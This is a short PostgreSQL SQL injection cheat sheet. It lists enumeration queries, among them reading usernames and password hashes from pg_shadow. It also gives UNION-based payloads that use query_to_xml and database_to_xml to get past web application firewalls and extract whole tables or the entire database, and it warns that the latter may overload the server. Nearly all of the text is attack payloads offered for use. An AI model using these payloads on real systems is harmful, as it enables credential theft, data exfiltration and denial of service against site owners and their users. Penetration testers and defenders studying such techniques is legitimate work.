PostgreSQL

Injection SQL

Cheat Sheet

Here is some useful commands to deal with SQL injection:

Detail SQL command
Version SELECT version()
List Users SELECT usename FROM pg_user
List users and passwords SELECT usename, passwd FROM pg_shadow
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
Database Name SELECT current_database()
List databases SELECT datname FROM pg_database
List tables SELECT table_name FROM information_schema.tables
List columns SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
Select nth row SELECT ... LIMIT 1 OFFSET {n}
Concatenate strings in the same row SELECT CONCAT(username, ', ', passwd) FROM pg_shadow
Concatenate column SELECT string_agg(column_name, ', ') FROM information_schema.columns WHERE table_name='data_table'

XML functions

query_to_xml

The following functions map the contents of relational tables to XML values:

query_to_xml(query text, nulls boolean, tableforest boolean, targetns text)
table_to_xml(tbl regclass, nulls boolean, tableforest boolean, targetns text)
cursor_to_xml(cursor refcursor, count int, nulls boolean, tableforest boolean, targetns text)

With query_to_xml you can bypass WAF and exfiltrate the query results in a single string:

... UNION SELECT '1', '2', query_to_xml('select * from pg_user', true, true, ''), '4', ...

database_to_xml

The following function may be available and returns the entire current database:

database_to_xml(nulls boolean, tableforest boolean, targetns text)

The exploitation is as follow. Be careful the process may timeout or DOS the server:

... UNION SELECT '1', '2', database_to_xml(true, true, ''), '4', ...

JSON functions

PostgreSQL implements JSON functions to interact with this data structure.

to_jsonb - extract line as a JSON object

SELECT to_jsonb(t.*) FROM my_table t;

jsonb_object_keys - extract columns names

SELECT jsonb_object_keys((SELECT to_jsonb(t.*) FROM my_table t LIMIT 1));